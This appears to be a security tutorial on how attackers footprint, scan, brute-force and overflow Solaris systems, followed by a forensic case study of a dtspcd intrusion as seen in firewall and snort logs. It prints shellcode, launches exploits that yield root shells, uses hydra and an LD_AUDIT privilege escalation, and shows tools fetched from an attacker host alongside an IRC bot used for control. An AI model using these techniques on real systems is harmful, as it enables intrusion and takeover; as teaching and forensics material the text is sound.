# PART I - Discovering Systems - Passive Footprinting

Passive footprinting is a method in which the attacker never makes contact with the target systems. The downside to the active method for an attacker is that many companies may log contact between an attacker and the target system. Since ICMP traffic is so common, attempting to log all ping requests would be cumbersome, so ICMP pings are often not recorded. This is not the case for TCP connections and/or DNS queries.

The following sections describe passive fingerprinting techniques used by attackers to discover systems on a network.

## Domain Registrar Queries

All domains are registered through a domain registrars. Information about the domain in question can be accessed publically through the whois utility. Information such as contact information, email addresses, and DNS Authoratative servers can be discovered in these databases.

There are many domain registrars available. The first step an attacker must take is to discover who the registrar is for a specific domain. This can be accomplished using the freely available online whois utility available at http://www.internic.net.

Once an attacker knows the domain registrar for a specific domain, the whois utility can be used to locate information about that domain. In the following example, the attacker has discovered that whois.example.com is the domain registrar for the domain examplecompany.com. The whois utility is used to extract the registration information for that domain.

```
# whois -h whois.example.com example.com
[Querying whois.example.com]
[whois.example.com]

Domain Name.......... examplecompany.com
  Creation Date........ 2002-04-02
  Registration Date.... 2002-04-02
  Expiry Date.......... 2006-04-02
  Organisation Name.... Resident Unix Geek
  Organisation Address. 12345 Test Drive
  Organisation Address.
  Organisation Address. Manhattan Beach
  Organisation Address. 90266
  Organisation Address. CA
  Organisation Address. UNITED STATES

Admin Name........... Darren Hoch
  Admin Address........ 6789 Unix Way
  Admin Address........
  Admin Address........ Manhattan Beach
  Admin Address........ 90266
  Admin Address........ CA
  Admin Address........ UNITED STATES
  Admin Email.......... admin@examplecompany.com
  Admin Phone.......... (888) 867-5309
  Admin Fax............

Tech Name............ Generic Hostmaster
  Tech Address......... 5050 Haxor Lake Dr.
  Tech Address.........
  Tech Address......... Boca Raton
  Tech Address......... 33431
  Tech Address......... FL
  Tech Address......... UNITED STATES
  Tech Email........... hostmaster@generichostmaster.com
  Tech Phone........... 888-663-6648
  Tech Fax.............
  Name Server.......... NS11a.GENERICHOSTMASTER.COM
  Name Server.......... NS11b.GENERICHOSTMASTER.COM
```

Freely available automated tools exist that automate the process of querying domain registrars. The dmitry (Deepmagic Information Gathering Tool) tool by James Greig is a command line tool that passively gathers domain registrar information, as well as other public information from web searches (Google) and online statistics sites (Netcraft) about the target systems and creates a log of all information found.

The following example demonstrates how an attacker would use dmitry to discover information about the domain examplecompany.com

```
# ./dmitry -iwns -o example.out examplecompany.com
# more example.out

<<output ommitted for brevity>>

Gathered Inic-whois information for examplecomapny.com
---------------------------------

Domain Name:EXAMPLECOMPANY.COM
Created On:23-Aug-2002 21:19:49 UTC
Last Updated On:24-Aug-2005 01:43:59 UTC
Expiration Date:23-Aug-2006 21:19:54 UTC
Sponsoring Registrar:GENERIC WEBHOST Worldwide (RXX-LXXX)
Status:OK
```

<<output ommitted for brevity>>

```
Gathered Netcraft information for examplecompany.com
---------------------------------
Linux
Apache/2.0.53 (Fedora)
Currently No Uptime reports available

Gathered Subdomain Search information for examplecomapny.com
```

## Google Search Engine Queries

The Google search engine is the most widely used search engine on the earth. Most searches conducted on Google are nothing more than strings of keywords. Many end users are unaware of its very extensible search string syntax and a programming API available to do automated and command line searches.

An attacker can leverage these features to do passive fingerprinting on a single system or an entire domain by creating very complex search strings using Google's "Advanced Operators". These operators are often typed into the Google search bar from the main Google site.

The following is a list of the most common advanced operators:

- intitle:keyword - The query returns pages with the keyword in the HTML title tag <title>keyword</title>
- inurl:keyword - The query returns pages with the keyword in the url string
- site:url - The query returns only pages from the site
- +keyword - This operator forces the inclusion of the word that follows it
- -keyword - This operator forces the exclusion of the word that follows it

The following Google search string matches all sites that have the domain sun.com in them excluding the site, www.sun.com.

```
http://www.google.com/search?q=site:sun.com+-www.sun.com
```

Using a combination of command line tools such as lynx, awk, sed, sort, and DNS, an attacker can write scripts that leverage Google queries to identify a list of target systems in a company's domain.

The following script, google-dns.sh (http://uwww.ufsdump.org/scripts), enables an attacker to find all unique domain names in the sun.com domain and obtain IP addresses for those domain names through DNS.

```
# cat google-dns.sh
 cat google-dns.sh
#!/bin/sh
if
        [ -f /tmp/google.tmp ]
then
        rm -rf /tmp/google.tmp
fi
echo
echo "Google DNS Passive Fingerprinter v0.1"
echo "-------------------------------------"
echo
echo -n "Enter base domain, exluding www [foo.com]: "
read SITE
echo -n "How many pages would you like to search?: "
read NUM
echo
```

```
echo "Finding subdomains for the site $SITE"

lynx -dump "http://www.google.com/search?q=site:$SITE+-www.$SITE&num=$NUM"
| sed -n 's/\. http:\/\/[[:alpha:]]*.sun.com\//& /p' | awk '{print $2}' |
sed 's/http:\/\///' | sed -s 's/\///' | sort -u > /tmp/google.tmp
for each in $(cat /tmp/google.tmp)
do host $each
sleep 1
done
```

```
# ./google-dns.sh

Google DNS Passive Fingerprinter v0.1
-------------------------------------

Enter base domain, exluding www [foo.com]: sun.com
How many pages would you like to search?: 50

Finding subdomains for the site sun.com
au.sun.com has address 209.249.116.186
blogs.sun.com has address 209.249.116.203
br.sun.com has address 209.249.116.152
bugs.sun.com has address 192.18.97.142

<<output ommitted for brevity>>
```

Google provides a complete API to do more advanced automated queries. A license agreement and user account must be created in order to generate a key and download the API kit. The following Google API query tools are freely available on the Internet.

- dns-mine.pl - Written by Roelof Temmingh (http://www.senspost.com), this script uses a combination of advanced operators and logic to find subdomains
- BiLE and BiLE-Weight - Bi-directional Link Extractor (http://www.sensepost.com) are a set of scripts that locates links to and from sites and weigh their relevance to each other, placing the most relevant linked site first.

# Part II - Enumerating Remote Services

After a target system has been detected, the attacker will attempt to discover all of the services running on the system. Each service that is accessible over the network represents a possible back door through a remote exploit. Often refered to as "host enumeration", the process of services discovery yeilds the following information required for attack.

- The remote operating system
- All running services
- Unpatched or vulnerable services

## Banner Enumeration

Many remote services  either display text banners when connecting to the service or allow the service version to be queried. Although unelagent ,easily modified, and invasive, an attacker can determine if a service is running and the base operating system by parsing banner messages.

In the following example, a connection using telnet reveals the fact that the telnet service is running on the remote host and the OS type of Sun Solaris 9.

```
# telnet 10.16.100.73
Trying 10.16.100.73...
Connected to 10.16.100.73.
Escape character is '^]'.


SunOS 5.9

login:
```

In the following example, a connection to the SMTP port (25) reveals the version of the OS, the type of service, and version of the service. This target is running Sendmail version 8.12.10 on a Sun Solaris system.

```
# telnet 10.16.100.73 25
Trying 10.16.100.73...
Connected to 10.16.100.73.
Escape character is '^]'.
220 lexus. ESMTP Sendmail 8.12.10+Sun/8.12.10; Wed, 21 Sep 2005 17:40:16
-0700 (PDT)
```

The HTTP protocol is a stateless protocol. Because of this, every time a connection is made to a web server, it passes back a header with all relevant information about it. The HTTP headers exchanged between a web browser and server and transparent to the end user.

An attacker can use the wget utility to print the server information from the HTTP server header. In the following example, the HTTP header from the target server reveals that it is an Apache web server running on a Redhat server.

```
# wget -q --save-headers http://www.example.com -O /dev/fd/1 | grep
"Server:"
Server: Apache/1.3.27 (Redhat) PHP/4.2.1 mod_ssl/2.8.12 OpenSSL/0.9.6h
```

## TCP/UDP Port Scanning

Port scanning is the process of sending traffic to both TCP and UDP ports to determine if a service is bound on those ports. The process of scanning ports is very common on both the system administrator side and the attacker side. System administrators use port scanners to locate open ports that should be closed. Attackers do the same. The difference is that the system administrator is trying to mitigate an attack by closing all unnessecary ports where as an attacker is looking to attack those ports. If a TCP/UDP port is actually bound and a service is listening, the attacker now has a possible way into the system through a remote exploit.

The process of port scanning in and of itself is not a threat. Port scanning is so frequent on the Internet that many companies do not log port scans or have set a very high threshold of scans to trigger an alert.

Here is a listing of some of the most popular free port scan utilities:

- The nmap utility by Fydor (http://www.insecure.org)
- The xprobe2 utility (http://www.sys-security.com)
- The amap utility (http://www.thehackerschoice.com)

Any port scan utility run with out any options will be very noisy and more than likely be reported by an intrusion detection sensor. Attackers leverage many of the features of a port scanner to obfuscate the scan.

In the following example, the attacker scans only ports 22, 25, and 80 on a destination system and slows down the rate of the scan using the "Sneaky" option. The attacker discovers that all 3 ports are open. Each one of these ports represents a possible attack vector.

```
# nmap -T Sneaky -p 22,25,80 -sF 192.168.1.110

Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2005-09-22 15:48
PDT
Interesting ports on www.example.com (192.168.1.110):
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 00:10:B5:0E:78:97 (Accton Technology)

Nmap run completed -- 1 IP address (1 host up) scanned in 121.623 seconds
```

The nmap utility has additional features that enable an attacker to discover the type of operating system the target system is using. The process the tool uses is called "Active TCP/IP Fingerprinting". The nmap utility examines the packets generated by the target system, compares it against a database of sample packets, and if there is a match, it reports the type of OS.

In the following example, the nmap utility is run with a "-O" option instructing it to guess the target operating system. The nmap utility reports that the system is a Sun Solaris 9 system running on the SPARC platform.

```
# nmap -O -T Sneaky -p 22,23,25,80,678 -sF 192.168.1.201

Starting nmap 3.70 ( http://www.insecure.org/nmap/ ) at 2005-09-22 15:59
PDT
Warning:  OS detection will be MUCH less reliable because we did not find
at least 1 open and 1 closed TCP port
Insufficient responses for TCP sequencing (6), OS detection may be less
accurateInteresting ports on u10 (192.168.1.201):
PORT    STATE SERVICE
22/tcp  open  ssh
23/tcp  open  telnet
25/tcp  open  smtp
80/tcp  open  http
678/tcp open  unknown
MAC Address: 08:00:20:B0:D0:72 (SUN Microsystems)
Device type: general purpose
Running: Sun Solaris 9
OS details: Sun Solaris 9, Sun Solaris 9 with TCP_STRONG_ISS set to 2
Uptime 10.933 days (since Sun Sep 11 17:44:58 2005)

Nmap run completed -- 1 IP address (1 host up) scanned in 571.691 seconds
```

Keep in mind that nmap only detects open and closed ports. It will only report that the HTTP port (80) is open. It could be possible that a web server is not running on that port.

The amap utility takes port scanning a step further by not only scanning for open and closed ports, but also attempting to guess the service and protocol running on the port. It does this by also enumerating banners and service messages from the service in question. This makes an attacker's work easier as it narrows down possible exploits to just that service version.

The following example demonstrates how the amap utility discovers that the secure shell protocol is running on the nonstandard port of 1022.

```
# ./amap -A 192.168.1.17 1022
amap v5.1 (www.thc.org/thc-amap) started at 2005-09-22 16:22:06 - MAPPING
mode

Protocol on 192.168.1.17:1022/tcp matches ssh
Protocol on 192.168.1.17:1022/tcp matches ssh-openssh

Unidentified ports: none.
```

```
amap v5.1 finished at 2005-09-22 16:22:07
```

## Brute Force Login Attempts

Once an account like the guest account is located, the password must be discovered. Trying to guess a password can be a cumbersome process. Depending on password policies, it may take days or weeks for an attacker to sit at a command line attempting to connect to a remote system and attempt login by guessing a password.

Automated login brute force tools are available for this purpose. These tools will do nothing more than try day and night to login to a system with a given user account.

The hydra utility from The Hacker's Choice, www.thc.org, allows brute force login attempts on any network service that requires a login: telnet, ftp, rlogin, ssh, smtp, imap and pop3 are just a few.

Using the previous account discovery examples, the attacker takes the account guest and uses the hydra tool to attempt to brute force guess the password to the guest account. The hydra utility is using a predefined list of choices (-C logins) and is also attempting null characters or the name of the user account as a password (-e ns).

```
# ./hydra -C logins -e ns u5.example.com ssh2
Hydra v4.7 (c) 2005 by van Hauser / THC - use allowed only for legal
purposes.
Hydra (http://www.thc.org) starting at 2005-09-22 21:36:38
[DATA] 16 tasks, 1 servers, 18 login tries, ~1 tries per task
[DATA] attacking service ssh2 on port 22
[STATUS] attack finished for u5.example.com (waiting for childs to finish)
[22][ssh2] host: u5.example.com   login: guest   password: 1pass1
Hydra (http://www.thc.org) finished at 2005-09-22 21:36:43
```

# Part III - Using a Remote Buffer Overflow

The data portion of a remote buffer overflow contains exploit instructions, commonly called a "payload". The crafting of these payloads is a non trivial, very complex task. An attacker must know a programming language, be familiar with the vulnerable service, and create a payload that will exploit it. Any one mistake will cause the overflow to fail.

Once a successful overflow is coded, an automated exploit tool is created by the attacker. The purpose of this tool is to initiate a buffer overflow attack on as many systems as possible with the minimum amount of effort.

## Finding Exploit Code

Many attackers publish their exploit code on the Internet, making it easy for a novice attacker to download the exploit and use it to attack systems. A would be novice attacker needs only perform a key word search for an exploit and the desired operating system.

Some web sites publish older exploit code as a means for research. Obviously, not everyone who access these sites is doing research, but rather looking for exploits that could work on older systems. The following is a partial list of websites that publish exploit code.

- Last Stage of Delirium Research Group - http://www.lsd-pl.net/
- Packet Storm Security - http://www.packetstormsecurity.com/
- The MetaSploit Project - http://www.metasploit.org/
- SecuriTeam – http://www.securiteam.com

Developers have also created special distributions of Linux that include exploits. These distributions were developed to run on a live CD or to be installed on a system. Once running, these versions of Linux offer a library of thousands of pre-compiled exploits ready to run. The following two distributions are most common.

- iWhax – http://www.iwhax.net
- Auditor – http://remote-exploit.org

## Examining the Exploit Code

For the purposes of illustrating the simplicity and ease of use of pre- built exploits the snmp exploit will be examined.

The snmpdxmid exploit attempts to create a buffer overflow situation with the Simple Network Manangment Protocol Service Daemon (snmpXdmid) causing the service to crash. The end result of the overflow is that a remote root shell becomes available to the attacker.

This is possible because the attacker created machine language code, often referred to as shellcode. Shellcode is inserted into a "payload". The "payload" delivers the buffer overflow. A payload is a non-trivial construct to create, an attacker may spend many hours or days building a payload that functions.

Code 2-1 provides an example of shellcode. The last line of the overflow shell code executes the remote root shell.

Code 2-1 Sample shellcode
```
char shellcode[]=
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode-4>          */
    "\x20\xbf\xff\xff"     /* bn,a    <shellcode>            */
    "\x7f\xff\xff\xff"     /* call    <shellcode+4>          */
    "\x90\x03\xe0\x20"     /* add     %o7,32,%o0             */
    "\x92\x02\x20\x10"     /* add     %o0,16,%o1             */
    "\xc0\x22\x20\x08"     /* st      %g0,[%o0+8]            */
    "\xd0\x22\x20\x10"     /* st      %o0,[%o0+16]           */
    "\xc0\x22\x20\x14"     /* st      %g0,[%o0+20]           */
    "\x82\x10\x20\x0b"     /* mov     0x0b,%g1               */
    "\x91\xd0\x20\x08"     /* ta      8                      */
    "/bin/ksh"
;
```

The machine language segment sets the location of the next instruction (the attacker's) to execute. Instead of going to the correct memory address, the malicious code in the payload is executed instead, and the attacker received a root shell prompt.

### Compiling The Exploit Code

Writing such an exploit is beyond the capability of many attackers. The simplicity of compiling pre-built source code, creating an executable tool is not, however. A source code compiler is all that is needed to create a binary executable version of the exploit. The GNU C compiler is freely available for all UNIX platforms and is included by default in many distributions.

In the following example, the exploit code is compiled with the gcc compiler using the (gcc) command.

```
# gcc -lsocket -lnsl -o snmp-smash snmp.c
# chmod 555 snmp
# ls -l
total 88
-r-xr-xr-x   1 root     other      14304 Sep 24 09:41 snmp-smash
-rw-r--r--   1 root     other       8010 Sep 24 10:59 snmp.c
-rw-r--r--   1 root     other       8010 Sep 24 09:42 solsparc_snmpxdmid.c
#
```

## Launching the Exploit

The compiled exploit program, snmp-smash, is then executed to test functionality.

```
# ./snmp-smash -h
usage: ./snmp address [-p port] -v 7|8
```

-

The exploit command (snmp-smash) expects the following command line parameters.

- **Address** – The network address to compromise.
- **[-p port]** – The listener port for the snmpXdmid service, the default is port 831.
- **[-v 7 | 8]** - The Solaris Operating System version to attack.

In the following example, an overflow is attempted on the system host1.example.com which has Sparc Solaris 8 Release Feburary 2002 installed. Sun Microsystems has released a patch against this vulnerability in this release. The exploit attempt fails and even reports back the target is not vulnerable.

```
# ./snmp-smash host1.example.com -v 8
copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000e69c0 timeout=10 port=831 connected!
error: not vulnerable
#
```

Again the exloit is launched against at a target system host2.example.com, this time running Sparc Solaris 8 Release January 2001. This system does not contain the security patch to the vulnerable snmpXdmi service. The overflow is successful and the attacker gains a root shell on the remote host.

```
# ./snmp-smash host2.example.com -v 8
copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc

adr=0x000e69c0 timeout=10 port=633 connected! sent!
SunOS delta5 5.8 Generic_108528-05 sun4u sparc SUNW,Ultra-5_10

uname -n
host2.example.com
ls -l
total 327
drwxr-xr-x   2 root     root         512 Sep 26 14:40 TT_DB
lrwxrwxrwx   1 root     root           9 Sep 26 13:48 bin -> ./usr/bin
drwxr-xr-x   2 root     nobody       512 Sep 26 15:02 cdrom
drwxr-xr-x  15 root     sys         3584 Sep 26 15:04 dev
drwxr-xr-x   4 root     sys          512 Sep 26 14:05 devices
drwxr-xr-x  39 root     sys         3584 Sep 26 15:04 etc

<<output ommitted for brevity>>
```

## Examining a Local Buffer Overflow

An attacker uses a local buffer overflow exploit to escalate privileges to a root shell. The advantage to a local buffer overflow is that they are easier to create and execute. This is because the attacker has access to the system memory space and can debug the exploit.

The disadvantage to the local buffer overflow is that the attacker must login to the system first via a regular user account. This means that the attacker must acquire a user account and password.

Local buffer overflows work the same as remote buffer overflows. Both exploit  programming errors on input buffers.

### Launching the Exploit

The attacker launches a buffer overflow exploit while logged in as a regular user. on the target system. In the following example, the attacker compiles an executes an exploit that will produce a buffer overflow in the ld.so.1 shared library on a Solaris 9 system. The attacker runs the exploit as the user bob.

```
$ id
uid=1000(bob) gid=10(staff)
$ gcc -fPIC -shared -o /tmp/smash.so smash.c
$ export LD_AUDIT=/tmp/smash.so
$ ping
# id
uid=0(root) gid=10(staff)
```

The overflow escalates the attacker's privileges from the regular user bob to the root user. The attacker now has a root shell on the victim system.

# PART IV - Analyzing a Buffer Overflow Intrusion – Case Study

In the following case study, an attacker uses a remote buffer overflow to exploit the dtspcd service running on a Solaris 7 system. Once the buffer overflow is exploited, the attacker installs an Internet Relay Chat (IRC) bot that connects to a remote master IRC server running on port 6667.

This case study uses the following system names and IP addresses.

External interface of the enterprise router

- 10.28.2.2 – External IP address of interface (hme0) of enterprise router
- 192.168.1.1 – Internal IP address of interface (hme1) of enterprise router
- 192.168.1.117 – IP address of compromised system
- 10.28.2.4 – IP address of the attacker
- 10.28.2.52 – IP address of the IRC server
- /var/log/fwlog – The firewall log
- /var/log/snort/alert – The snort log
- core – The name of the dtspcd core file
- /var/adm/messages – The location of the dtspcd error messages
- [attacker]# - The attacker's terminal window
- [victim]# - The compromised system's terminal window

## Examining the Firewall Log

The attacker's first probe of the compromised system started with an ICMP ping to the victim host at 3:09 PM on October 20th.

```
[attacker]# ping -c 1 192.168.1.117
PING host117.example.com (192.168.1.117): 56 data bytes
64 bytes from 192.168.1.117: icmp_seq=0 ttl=128 time=17.3 ms

--- host117.example.com ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 17.3/17.3/17.3 ms

[victim]# grep icmp /var/log/fwlog
Oct 20 15:09:23.119832 hme1 @0:3 p 10.28.2.4 -> 192.168.1.117 PR icmp len
20 28 icmp echo/0 K-S
Oct 20 15:09:23.120230 hme1 @0:3 p 192.168.1.117 -> 10.28.2.4 PR icmp len
20 28 icmp echoreply/0 K-S
```

Once the attacker has verified that the victim system is alive, the attacker uses the nmap utility to conduct port scans of the victim host, determining what services are running. The first port scan examines ports 21, 22, 23, 25, and 80. The attacker also attempts to guess the operating system with the “-O” option to the nmap utility.

```
[attacker]#  nmap -p 21,22,25,80 -O 192.168.1.117

Starting nmap 3.93 ( http://www.insecure.org/nmap/ ) at 2005-10-20 22:15
CDT
Interesting ports on  (192.168.1.117):
PORT   STATE  SERVICE
21/tcp open   ftp
22/tcp open   ssh
25/tcp closed smtp
80/tcp closed http
MAC Address: 08:00:20:C2:E2:20 (SUN Microsystems)
Device type: general purpose
Running: Sun Solaris 5.7
OS details: Sun Solaris 5.7
Uptime 5.371 days (since Sat Oct 15 13:21:14 2005)

Nmap finished: 1 IP address (1 host up) scanned in 8.096 seconds
```

An investigator assumes a port scan based on the fact that the attacker attempted to connect to 4 ports in under 1 second.

```
[victim]# grep “15:26” /var/log/fwlog | grep “10.28.2.4”
Oct 20 15:26:31.232664 hme0 @0:2 p 10.28.2.4,48019 -> 192.168.1.117,25 PR
tcp len 20 40 -S K-S IN

Oct 20 15:26:31.232878 hme0 @0:2 p 10.28.2.4,48019 -> 192.168.1.117,22 PR
tcp len 20 40 -S K-S IN

Oct 20 15:26:31.233007 hme0 @0:2 p 192.168.1.117,25 -> 10.28.2.4,48019 PR
tcp len 20 44 -AS K-S IN

Oct 20 15:26:31.233212 hme1 @0:2 p 192.168.1.117,22 -> 10.28.2.4,48019 PR
tcp len 20 40 -AR K-S IN

Oct 20 15:26:31.233458 hme0 @0:2 p 192.168.1.117,80 -> 10.28.2.4,48019 PR
tcp len 20 40 -AR K-S OUT

Oct 20 15:26:31.233539 hme0 @0:2 p 10.28.2.4,48019 -> 192.168.1.117,23 PR
tcp len 20 40 -S K-S IN

Oct 20 15:26:31.233617 hme0 @0:2 p 10.28.2.4,51259 -> 192.168.1.117,80 PR
tcp len 20 40 -A K-S IN

Oct 20 15:26:31.233724 hme0 @0:2 p 192.168.1.117,23 -> 10.28.2.4,48019 PR
tcp len 20 44 -AS K-S IN
```

```
Oct 20 15:26:31.233904 hme0 @0:2 p 10.28.2.4,48019 -> 192.168.1.117,21 PR
tcp len 20 40 -S K-S IN

Oct 20 15:26:31.234215 hme0 @0:2 p 192.168.1.117,21 -> 10.28.2.4,48019 PR
tcp len 20 44 -AS K-S IN
```

The nmap utility reveals that the system is a Solaris 7 system. Knowing that the system is older, the attacker checks to see if the system has already been compromised. The attacker uses the nmap utility to scan port 6667 for an existing IRC bot.

```
[attacker]#nmap -p 6667 192.168.1.117

Starting nmap 3.93 ( http://www.insecure.org/nmap/ ) at 2005-10-20 22:20
CDT
Interesting ports on t2 (192.168.1.117):
PORT     STATE  SERVICE
6667/tcp closed irc
MAC Address: 08:00:20:C2:E2:20 (SUN Microsystems)

Nmap finished: 1 IP address (1 host up) scanned in 2.240 seconds

[victim]# grep 6667 /var/log/fwlog
15:26:40.536855 hme0 @0:2 p 10.28.2.4,51238 -> 192.168.1.117,6667 PR tcp
len 20 40 -S K-S IN

15:26:40.537173 hme0 @0:2 p 192.168.1.117,6667 -> 10.28.2.4,51238 PR tcp
len 20 40 -AR K-S OUT
```

Since the victim system is not already running an IRC bot, the attacker checks to see if the vulnerable service, dtspcd, is running on the Solaris 7 system. The attacker uses the nmap utility to scan the dtspcd service port of 6112.

```
[attacker]# nmap -p 6112 192.168.1.117

Starting nmap 3.93 ( http://www.insecure.org/nmap/ ) at 2005-10-20 22:23
CDT
Interesting ports on u5 (192.168.1.204):
PORT     STATE  SERVICE
6112/tcp open dtspc

MAC Address: 08:00:20:A8:75:DE (SUN Microsystems)

Nmap finished: 1 IP address (1 host up) scanned in 2.236 seconds

[victim]# grep 6112 /var/log/fwlog
15:27:11.133731 hme0 @0:2 p 10.28.2.4,38233 -> 192.168.1.117,6112 PR tcp
len 20 40 -S K-S IN

15:27:11.134128 hme0 @0:2 p 192.168.1.117,6112 -> 10.28.2.4,38233 PR tcp
len 20 44 -AS K-S OUT
```

The dtspcd port 6112 is open. The attacker then attempts to buffer overflow the victim system using a well known exploit that grants root access by crashing the dtspcd service.

```
[attacker]# ./dtspcd-smash 192.168.1.117 -v 7
copyright LAST STAGE OF DELIRIUM jun 2001 poland  //lsd-pl.net/
dtspcd for solaris 2.6 2.7 2.8 sparc

This may take a moment
.......................sent!
SunOS alpha2 5.7 Generic_106541-08 sun4u sparc SUNW,Ultra-5_10
```

The firewall log reports that multiple packets are passed to the victim host on port 6112. The following packets are exchanged between the attacker and the victim in less than a thousandth of a second. The buffer overflow starts at 3:27 PM and 35 seconds, roughly 1 minute after the initial system probe.

```
[victim]# grep 6112 /var/log/fwlog
Oct 20 15:27:35.651067 hme0 @0:2 p 10.28.2.4,33085 -> 192.168.1.117,6112
PR tcp len 20 48 -S K-S IN

Oct 20 15:27:35.651569 hme0 @0:2 p 192.168.1.117,6112 -> 10.28.2.4,33085
PR tcp len 20 48 -AS K-S OUT

Oct 20 15:27:35.651811 hme0 @0:2 p 10.28.2.4,33085 -> 192.168.1.117,6112
PR tcp len 20 40 -A K-S IN

<<output omitted for brevity>>
```

The attacker uses the buffer overflow exploit to place a trusted host entry in the /.rhosts file on the victim system. The attacker then logs in to the victim system through the rlogin utility.

```
[attacker]# rlogin 192.168.1.117
Last login: Thu Oct 20 15:31:18 from host4.example.co
Sun Microsystems Inc.   SunOS 5.7       Generic October 1998
#

[victim]# grep 513 /var/log/fwlog
Oct 20 15:31:17.652908 hme0 @0:2 p 10.28.2.4,1022 -> 192.168.1.117,513 PR
tcp len 20 48 -S K-S IN

Oct 20 15:31:17.653371 hme0 @0:2 p 192.168.1.117,513 -> 10.28.2.4,1022 PR
tcp len 20 48 -AS K-S OUT

Oct 20 15:31:17.653613 hme0 @0:2 p 10.28.2.4,1022 -> 192.168.1.117,513 PR
tcp len 20 40 -A K-S IN
```

After the attacker has successfully gained root access on the victim host, he or she then attempts to download files from a remote server (10.28.2.6) using the ftp command.

```
[attacker]#  ftp host6.example.com
Connected to host6.example.com.
220 t2 FTP server ready.
```

```
Name (t2:root): root
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mget toolz.zip
mget toolz.zip? y
200 PORT command successful.
150 Opening BINARY mode data connection for tools.zip (1800 bytes).
226 Transfer complete.
local: tools.zip remote: tools.zip]
1800 bytes received in 2.034 seconds (328.3 Kbytes/s)
>quit

[victim]# grep '21' /var/log/fwlog | grep 10.28.2.6
Oct 20 15:31:29.528277 hme1 @0:2 p 192.168.1.117,32838 -> 10.16.2.6,21 PR
tcp len 20 44 -S K-S IN

Oct 20 15:31:29.528277 hme1 @0:2 p 10.16.2.6,21 -> 192.168.1.117,32838 PR
tcp len 20 44 -AS K-S IN

Oct 20 15:31:29.528277 hme1 @0:2 p 192.168.1.117,32838 -> 10.16.2.6,21 PR
tcp len 20 44 -A K-S IN
```

The attacker starts an IRC bot that connects to a system with an IP address of 10.28.2.52 on port 6667. From this point on, the system is completely compromised.

```
[attacker]#/dev/ptr/.../.httpd
[attacker]#

[victim]# grep 6667 /var/log/fwlog | grep 10.28.2.52
Oct 20 15:32:52.112550 hme0 @0:2 p 192.168.1.117,32839 -> 10.28.2.52,6667
PR tcp len 20 44 -S K-S OUT

Oct 20 15:32:52.113157 hme0 @0:2 p 10.28.2.52,6667 -> 192.168.1.117,32839
PR tcp len 20 44 -AS K-S IN

Oct 20 15:32:52.113504 hme0 @0:2 p 192.168.1.117,32839 -> 10.28.2.52,6667
PR tcp len 20 40 -A K-S OUT
```

### Summarizing the Firewall Log

By analyzing the firewall log, the investigator has determined multiple aspects of the enterprise intrusion. The entire duration of the attack was 23 minutes (15:09 – 15:32). Table 7.1 summarizes the results of the firewall log analysis.

Table 7-1 – Firewall Log Summary

| Event | Time | IP Address | Service/Port |
|---|---|---|---|
| Attacker sends ICMP ping | 15:09:23 | 10.28.2.4 | ICMP ECHO |
| Attacker port scans popular ports | 15:21:36 | 10.28.2.4 | 21 (FTP), 22 (SSH), 25 (SMTP), 80 (HTTP) |
| Attacker ports scans victim to see if the system is already compromised | 15:21:40 | 10.28.2.4 | IRC (6667) |
| Attacker ports scans vulnerable dtspcd service | 15:27:11 | 10.28.2.4 | dtspcd (6112) |
| Attacker sends buffer overflow exploit to vulnerable dtspcd service | 15:27:35 | 10.28.2.4 | dtspcd (6112) |
| Attacker connects to victim system using the rlogin command | 15:31:17 | 10.28.2.4 | rlogin (513) |
| Attacker downloads tools with ftp utility | 15:31:29 | 10.28.2.6 | FTP (21) |
| Attacker starts IRC bot for remote command and control of the system | 15:32:52 | 10.28.2.52 | IRC (6667) |

## Examining the snort Log

The snort log was not as verbose as the firewall log. As opposed to logging every packet, the snort log picked up the significant milestones of the attack. The ICMP ping was the first event logged by the snort utility.

```
[**] [1:384:5] ICMP PING [**]
[Classification: Misc activity] [Priority: 3]
10/20-15:09:23.119864 10.28.2.4 -> 192.168.1.117
ICMP TTL:58 TOS:0x0 ID:30033 IpLen:20 DgmLen:28 DF
Type:8  Code:0  ID:61882   Seq:17229  ECHO
```

Due to the high rate of false positives, the snort utility had a very high threshold for detecting port scans. No port scans were logged by the snort utility. The next event recorded in the snort log file is the attempted buffer overflow exploit.

```
[**] [1:645:5] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
10/20-15:27:35.653236 10.28.2.4:33085 -> 192.168.1.117:6112
TCP TTL:64 TOS:0x0 ID:30073 IpLen:20 DgmLen:1500 DF
***AP*** Seq: 0xE93C0435  Ack: 0x8388D29A  Win: 0xC1E8  TcpLen: 20
[Xref => http://www.whitehats.com/info/IDS353]
```

The snort utility does not monitor services like ftp and rlogin by default. It is expected that these are normal services that run on any enterprise. Although special rules could be made to detect these services, the default is to not log any warnings for them.

The IRC protocol is different than other protocols. It is not a widely used corporate or end user protocol. Most people who use IRC tend to be technical experts. The IRC protocol is the most common method of remote command and control of a system. Since it is a widely used protocol in the attacker community, the snort utility logs the event. The following snort log entry reports the initial connection by the attacker from the victim system to an IRC server (10.28.2.52). It is from this IP address that the attacker is controling the victim system.

```
[**] [1:1463:6] CHAT IRC message [**]
[Classification: Potential Corporate Privacy Violation] [Priority: 1]
10/20-15:32:52.101721 192.168.1.117:32841 -> 10.28.2.52:6667
TCP TTL:254 TOS:0x0 ID:24696 IpLen:20 DgmLen:82 DF
***AP*** Seq: 0x86F0CD68  Ack: 0x7C66A5B1  Win: 0x2238  TcpLen: 20
```

## Examing the messages File

Since the nature of a buffer overflow is to crash a service, the service may produce an error message. The /var/adm/messages file on the victim host logs all error messages. After the initial attack, the investigator reviews the /var/adm/messages file looking for any dtspcd error messages.

```
# grep dtspcd /var/adm/messages
Oct 20 15:27:35 alpha2 inetd[5744]: [ID 161378 daemon.error] dtspc/tcp:
bind: Address already in use
October 20 15:27:36 alpha2 inetd[5744]: [ID 161378 daemon.error]
dtspc/tcp: bind: Address already in use
```

## Examing Core Files

